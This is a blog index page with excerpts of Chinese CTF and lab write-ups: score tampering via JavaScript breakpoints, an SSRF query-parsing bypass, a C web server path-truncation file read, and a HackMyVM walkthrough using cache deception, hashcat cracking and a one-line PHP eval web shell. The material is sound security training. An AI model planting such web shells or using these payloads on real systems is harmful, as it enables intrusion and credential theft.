2025 TKKCTF | WriteUp

本篇wp还总结了本届TKKCTF在使用新版docker与xinted时,在Pwn方向上题/出题阶段遇到的问题的解决方法,以及密码题Isomorphia_revenge出现非预期解的原因与解决方法,希望能给各位校外师傅将来出题提供点帮助,再次感谢所有参与并支持本届TKKCTF的参赛选手与测试人员,TKKC Sec因为有你们而变得更好~ Web Eat 2023 TKKCTF - 好吃,爱吃,多吃 Real or AI 本题灵感来源于 有很多人在群里晒自己的得分,不过这对一个训练有素的hacker来说应该想要多高就有多高 网页内容基本没有变化,先来看看怎么修改得分 最低1张图1局,我们就先随便玩一局看看显示结果的页面有什么值得注意的内容 运气不太好。此时你如果只是想到群里晒得分,可以直接修改HTML的内容 可是这样一点也不真实,左边的圆圈应该要随正确的比例填满,所以直接修改HTML的方法显然不是最好的,因此我们就要进一步看看前端还有什么别的实现 在js部分发现了这个 资源结构很简单,出了这个js外没有别的脚本,因此应该只要分析这个脚本就行。 分析过前端逆向的人应该都知道,前端逻辑代码大部分都是经过混淆或者加密处理的,这个网页也不意外,所以如果直接通过打随机断点去分析,工作量会很大。因此我们需要找到一个明显又值得关注的东西,回到刚才我们随便玩的一局里,观察到“score”这个字符串,负责表示分数,所以我们就随便搜一搜 范围一下被缩小到了6个,所以我们就只需要观察这6个地方的逻辑,应该就能找到突破口 通过观察,最后可以将目标锁定在这个结果 为什么是这里?这是6个结果中的第2个,如果我们把刚才的6个结果都看过去,可以在第6个结果中看到这样一段 通过属性名与"results"可以很大胆的猜测这段结果就是最后输出给我们看的东西,而后面这三个值被赋给了Yy,也就是6个结果中第2个结果的那个函数,所以如果能操控Yy,很大概率我们就可以控制最后的输出结果。 我没有对Yy做很细致的分析,不过粗略的看一眼也能获得证实我们上面想法的线索 如果我们在刚才随便玩的那一局里再点一下“SHARE RESULTS”按钮,会发现他会复制一段话,而这段话的片段很明显就是这几行代码组成的,因此这更加证实了Yy就是负责最后输出页面内容的函数。 而经过对这几行代码的分析也有别的发现,那就是变量o,这个变量在18193行被拿来做分数判断。回到Yy函数的变量声明里,会发现o变量就是由totalRounds和score组成的 所以思路到此就很清晰了,我们可以尝试在o变量被赋值的地方下条件断点,让o使用我们自己定义的e和t,就能达到随意控制最终输出结果的目的。 此时我们再去玩一局,就会发现成功触发断点 放行全部断点后就能得到 此时如果你只是想炫耀999的截图任务,就已经完成了。但对于CTF选手来说,走到这步没有拿到flag肯定是很不满意的。所以我们就回到CTF最原始的玩法 如果你头铁,可以一个一个搜过去也可以。但我的习惯一般是只关注前几个和后几个。前3个结果显然不是我们要找的flag,那就看看后3个 很明显这就是我们要找的东西,获得方法也很简单,e和t我们刚才都已经分析过(理论上没有走过我们刚才那些步骤的选手应该也要去了解e和t的值分别是什么,当然也不乏可以猜出来)写个计算sha256的脚本就能解决 #!/bin/bash e=999 t=999 salt="HDJackm2G7SfnAwGWXOYgHfuB1cj6DEZ" #盐是每个靶机随机生成的,需要你自己替换 msg="${salt}${e}${t}" hash=$(echo -n "$msg" | sha256sum | awk '{print $1}') curl "https://47.122.52.77:33695/secrets/$hash.txt" SecOps 访问题目,被重定向至登录页面 在登录页面可以发现一个下载接口/common/download?file= ...

December 7, 2025 · 8 min · Red

2025 TKKCTF Beginner | WriteUp

本次WriteUp为各出题人收集版,如遇问题可以找对应题目出题人 Web 彩蛋 顺便解释一下为什么是“可能见过也可能没见过” 以及为什么提示叫“挖掘xujclab.com” easy_upload wp-2.pdf ez_http 出题者 zsm 留言:第一次出web题,质量不算特别高,请见谅 源码 <?php echo "<h1>你知道http协议吗?</h1>"; echo "<h1>不知道?还不去查查!!!</h1>"; echo "<h2>你知道怎么修改请求包吗?</h2>"; echo "<!-- 你也许需要一个工具?看看web手册呢? -->"; $flag = file_get_contents('/flag'); $flags = str_split($flag, 5); if ($_SERVER['HTTP_USER_AGENT'] != 'xujcBrowser') { die('请使用xujcBrowser浏览器访问'); } echo $flags[0]; if (!isset($_GET['hello'])) { die('<br>请用GET方式传递hello=world'); } echo $flags[1]; if ($_GET['hello'] != 'world') { die("<br>hello参数不正确"); } echo $flags[2]; if (!isset($_POST['web'])) { die('<br>请用POST方式传递web=security'); } echo $flags[3]; if ($_POST['web'] != 'security') { die('<br>web参数值不正确'); } echo $flags[4]; if (!isset($_COOKIE['flag'])) { die('<br>请设置cookie flag=secret'); } echo $flags[5]; if ($_COOKIE['flag'] != 'secret') { die('<br>cookie flag值不正确'); } echo $flags[6]; if ($_SERVER['HTTP_REFERER'] != 'http://localhost:8080/') { die('<br>请从http://localhost:8080/访问'); } echo $flags[7]; if ($_SERVER['HTTP_X_FORWARDED_FOR'] != '127.0.0.1') { die('<br>请从127.0.0.1访问'); } echo $flags[8] . "<br>"; echo '<h1>看来你知道http协议了</h1>'; 首先你要去学一下http协议,以及了解一下这个包里面的内容 ...

December 6, 2025 · 18 min · Red

2024 Seccon13 Online Web | Writeup

ssrf-self 非常超模的一题,能做出来的都是狠人(当然不排除很大一部分是猜对的,实际分析起来确实复杂) 先来看代码 用bun起的服务,这个bun是个什么呢?可以理解成一种全新的nodejs,对nodejs很多功能进行了重构提升性能 非常正常的包引用。接着来看逻辑代码。 根路由判断了query是否给flag传值,如果传了才能继续跳转到其他路由。也就是说,不管访问的是什么,因为有next事件的存在,所以必须经过根路由的这个检查 携带正确的flag值访问flag路由就能得到flag。但我们肯定不知道flag是什么 最后就是ssrf路由,会把请求拿去URL类做实例化,并判断是否正确与LOCALHOST进行拼接,重新赋值pathname为flag,添加参数flag和正确的flag值,代替我们访问/flag路由。 乍一看好像直接访问/ssrf就应该返回给我们正确的flag才对,但问题就在于根路由的next,必须先赋值正确的flag值才能访问ssrf 看到这里我就在想,append是会把flag覆盖过去还是把flag变成数组添加一个值?用附件起一个服务试试 为了看到传到flag路由的具体内容是什么,我们需要修改一下代码 注意只能存在一个res.send,否则会报错 先来看看直接传flag值会发生什么 跳到了正则表达式的第二个结果里。而我们的目的肯定是第一个结果,所以来看看传进来的req.query是什么 会发现append最终是把我们的flag参数变成了数组,所以不会跳到第一个结果。 那要怎么绕过呢?猜测漏洞点应该就出在 URL对req.url的处理,可能存在什么符号或格式让URL类在过了根路径的检查后仍然认为flag这个参数不存在 bun本身自带的express框架对req.query的识别与URL对req.query的识别不一致 而两种思路也正对应了这题的两种解法 1./ssrf?flag[=] 我们在php里经常用?a[]=1&b[]=2来绕过md5比较,在js里也有类似的用法。比如我们想用url给某个数组的某个键值赋值,可以用这种方法 ?flag[1]=1 那要是我们的键值不是数字,而是别的什么呢 接下来就是想办法怎么让req.query觉得存在flag参数,又让URL觉得不存在flag参数 方法就是标题里的payload。当传进来的值是flag[=]时,req.query会觉得你在给flag的=键赋值,URL会觉得你在给flag[赋值 2./ssrf?flag\ufeff 先来看看bun带了什么模块 负责url处理的猜测是parseurl。且在express/lib/requests.js里也能看到引用 到github搜项目https://github.com/pillarjs/parseurl/blob/1.3.3/index.js 读取到URL数据后先判断是不是空的,如果不为空,将在缓存中查找是否存在(fresh方法)。如果不存在,将进入fastparse 判断url是否是字符串且以/开头。如果不是则交给bun更底层的parse函数去处理 这个parse函数又是怎么处理的呢?这就得进到bun到项目文件里一探究竟了https://github.com/oven-sh/bun/blob/bun-v1.1.36/src/node-fallbacks/url.js#L49 这一段主要就是对反斜杠进行处理,然后赋值url给rest 紧接着将rest后面的空白符删除 什么是空白符?有很多,其中有个比较不常见的叫BOM(Byte Order Mark)分隔符 接着先回到parseurl往下继续分析 如果没跳进上面的if,就会来到这个for循环。简单来说就是先以?为分隔符分出三个部分,再对各种特殊字符作处理,但有一个case格外亮眼,就是0xfeff 意思就是,如果我们的发送的数据里带了0xfeff(也就是\ufeff)也会跳进parse进行处理 而根据我们上面对parse的分析,他会将包括0xfeff在内的空白符删掉,导致在req.query做判断时会认为我们传递进来的参数就是flag而不是flag\ufeff,因此就能绕过undefined 但URL类并不会认为flag和flag\ufeff是一样的,他会认为这是两个不一样的变量,在append时就会单独起一个flag变量赋值 持续更新ing……

June 8, 2025 · 1 min · Red

2024HKCert CTF 线上赛 Web | Writeup

前言 一直从去年比赛结束拖到现在,我也是个神人了 本篇将复现Web方向全部题目(不包括PWN+Web),包括step by step 已知用火 (1) / Custom Web Server (1) 一道C语言web题,比较少见,不过仔细分析一遍后会对C语言的socket编程有初步的理解,所以我们来详细分析一下 拿到附件后发现只有srv/里的静态文件和server.c的逻辑,那就来看c程序 首先是setvbuf 这个函数的主要作用是将标准输入、输出、错误用全缓冲放到NULL缓冲区里。 当我们在对系统进行输入与输出时,系统并不会直接从物理硬件读取内容,而是会放到缓冲区里,等触发一定条件后才会将从缓冲区内取出使用。而在这个程序里的条件就是这个全缓冲,会将我们输入的内容全放到NULL里,也就是空,这样做的目的就是让我们在标准输入和输出无法控制这个程序。 接着声明服务地址与客户端地址 之后创建一个socket变量。这个变量有个更专业的名字叫”套接字描述字“,但为了方便理解我这里直接叫他socket变量。 我们要想为C语言程序创建一个服务端待连接套接字(socket),就需要先创建一个变量,接着再一步步创建bind(用于为socket变量绑定地址)、listen(开启监听)、accept(收到客户端请求后确认连接)、recv(接受数据)、close(关闭连接)等,可以看下面这幅图。更详细的内容可以看这篇文章 这就是socket连接的大概流程,接着我们来解释一下这里参数的意思。 AF_INET:这个参数意为告诉socket函数需要创建IPv4协议的连接。这个参数位为协议域(domain),又称为协议族(family),常用的协议族有AF_INET(IPv4)、AF_INET6(IPv6)、AF_LOCAL(或称AF_UNIX,Unix域socket)、AF_ROUTE等等 SOCK_STREAM:这个参数意为需要创建流式套接字。这个参数位为需要创建的套接字类型,常用的socket类型有,SOCK_STREAM(流式套接字)、SOCK_DGRAM(数据报式套接字)、SOCK_RAW、SOCK_PACKET、SOCK_SEQPACKET等等 0:这个参数意为自动选择传输层协议。这个参数位为选择传输层协议,常用的协议有,IPPROTO_TCP、IPPROTO_UDP、IPPROTO_SCTP、IPPROTO_TIPC等,它们分别对应TCP传输协议、UDP传输协议、STCP传输协议、TIPC传输协议。需要注意,IPPROTO_TCP只能搭配SOCK_STREAM,因为TCP是流式传输,每个数据包之间有关联性,而不像UDP前后不分。 接着就是手动配置服务端地址 其中,INADDR_ANY表示0.0.0.0,htonl函数的作用是将电脑的小端序改成网络字节流的大端序 接着就是绑定地址和监听,bind和listen函数如果运行成功将返回0 listen函数的第二个参数意为最大的连接等待排队个数,因为这里暂时(下面使用了多进程)没做多线程处理,所以listen一次只能处理一个连接 最后用accept函数确认连接,至此我们就能成功与客户端保持连接了。 接下来就是为这个连接使用fork函数创建一个子进程去运行。这样这个连接就会被挂载到这个子进程上,listen就能去处理排队里的下一个连接 handle_client函数为自定义函数,所以我们接着来分析一下 首先声明了两个字符数组,这个没什么好说的 接着用memset初始化,将所有数组空间用0填充 接着将从客户端发送来的数据包内容保存到buffer数组里 接着用sscanf将buffer里的内容用%s格式化后储存到requested_filename。例如我访问内容为http://127.0.0.1/index.php,那么requested_filename就为index.php 这里我在分析的时候比较疑惑为什么不是整个http请求包,而是只有一个index.php,其实仔细想想就会发现,%s会读以“空格”或“换行”为截断去读取内容,而此时buffer的内容应该长这样 GET /index.php HTTP/1.1\r\nHost: localhost\r\n... 很明显后面有空格,所以就不会包含整个包体。算是用得挺巧妙的一个地方 之后又是一个自定义函数,不过我们先不着急看它怎么实现,从样子上大概可以看出来它是用来返回500.html的页面内容 接着来到这句 FileWithSize是一个自定义结构体 也就是最后的返回值是这两个变量。read_file也是FileWithSize类型的自定义函数,跟进一下 上来又是一个自定义函数ends_with,继续跟进 一个很简单的判断逻辑,判断后缀名是否相等。这里strncmp函数作用是判断第一个参数位是否和第二个参数位相等,第三个参数位表示判断长度。不过这里当时看到字符串text和整型text_length拿来加减有点懵,经过查阅后得知C语言中字符数组如果被拿来加减,其实就会改变其指针指向的位置,这里的运算操作就恰好能让指针落在后缀名里的.符号上,是第二个利用得很巧妙的地方 因此我们可以得知只能用这四种后缀名。回到read_file 定义数组和赋值,snprintf意为将第四个参数位中的值和第三个参数位中的值拼接后,为第一个参数位输入第二个参数位的值的长度的值。也就是说我们不能为real_path输入超过1024个字符,包括public/。并且,根据snprintf的特性,它允许输入的内容长度大于第二个参数位的值,甚至是第一个参数位的数组大小,因为它只会输入第二个参数位那么多的字符,这正是漏洞点。 因为public/恰好占了7个字符,如果我们将filename的数量控制在1019个字符(因为在handle_client中的sscanf存在一个/,所以发包的时候记得从第一个/之后开始算起),且最末尾为.js(当然也可以是其他几个允许的后缀),这样就恰好能将.js排除在1024之外,并且根据后文的内容可以得知real_path为读取文件内容的路径,这样就能轻松地达到读取任意文件的目的 已知用火 (2) / Custom Web Server (2) 为了彻底搞清楚这题的原理,耗了我很久的时间去验证read从socket缓冲区写入到buffer中的字节数以及发包个数。并且到我发稿前在网上并没有找到漏洞利用的详细说明,大部分wp认为填充字节是为了绕过nginx,其实并不是,且没有对为什么要发送三个包作出详细说明。接下来我们来仔细分析一下 ...

May 13, 2025 · 10 min · Red

HMV NoPort | Writeup

主机发现后先扫一下端口 只有一个80端口,接着扫目录 发现有.git,直接githack下来 会发现有一个swp状态的文件 先vim -r .test.php.swp恢复一下,然后复制保存,把所有clone下来的东西拖到vscode里开始审计 先来看看nginx和apache,因为一般会起两个服务并且题目只提供一个端口应该是有前后关系 nginx.conf里可以看到用户为www-data,启用了proxy_cache,也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知,继续往下看 引用了ctf.conf 可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080,并且配置文件里没有提到是nginx起的php-fpm,再结合有个apache,因此推测内部拓补大概就长这样 并且可以发现,nginx会将你访问的静态文件缓存下来,这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php 在index.php可以归结出3种路由 第一种是visit 可以看到这个路径主要作用是去访问test.php,这个放到一会儿再看。 第二种是login,这个没什么好说,就是判断是否正确登陆,成功后跳转到一个叫sh3ll.php的地方 第三种是其他路径,也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由,并且想要触发这两个路由都需要在通过验证的情况下才可以进入 一种是路径中带profile字样,就给你放回你当前来访问这个路由的用户的账号信息,包括密码 第二种是直接去访问路径里的其他文件 接下来看一下test.php。日志的文件名被写死,基本不可能利用写入恶意代码的方式。 接下去是调用bot_runner函数,这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后,允许你携带管理员的cookie去访问你给的uri。 我们可以发现,虽然bot_runner函数会帮我们访问没错,但是并不会携带访问结果,也就是你看不到respones,所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能,设想一下,如果我们能将respones保存在一个静态文件里,不就可以看了吗? 所以我们可以构造这样一个payload uri=profile/1.css 可以设想一下,当管理员访问了profile后,php会返回密码,而nginx则会认为profile/1是一个css文件的文件名从而将页面内容缓存下来,这样只要我们访问profile/1.css就能得到结果 拿到密码后发现直接用这串密码是sha256加密过的,需要爆破 把密码存进hash文件里,直接上rockyou hashcat -m 1400 -a 0 hash rockyou.txt 得到明文starbucks 登陆后看到可以执行命令 直接写一句马上蚁剑 echo -n '<?php eval($_POST[1]);?>' > 1.php 在/var/www看到一个文件pass 翻译过来就是用户密码就是前面我们拿到的那个登录密码,尝试直接su会发现没有权限,所以应该是有别的方法。在/opt/hello下发现一个readme 翻译过来就是nginx会随着机器的重启而重启,下面附了一个建议,建议我们先在本地测试好nginx配置以免因配置错误导致服务崩溃 并在home下发现用户名 先看一下sudo -l,发现可以reboot 并且发现ssh服务,但是监听的是127,所以要想办法把这个端口映射出去 那就到nginx配置目录下看看 ...

April 9, 2025 · 1 min · Red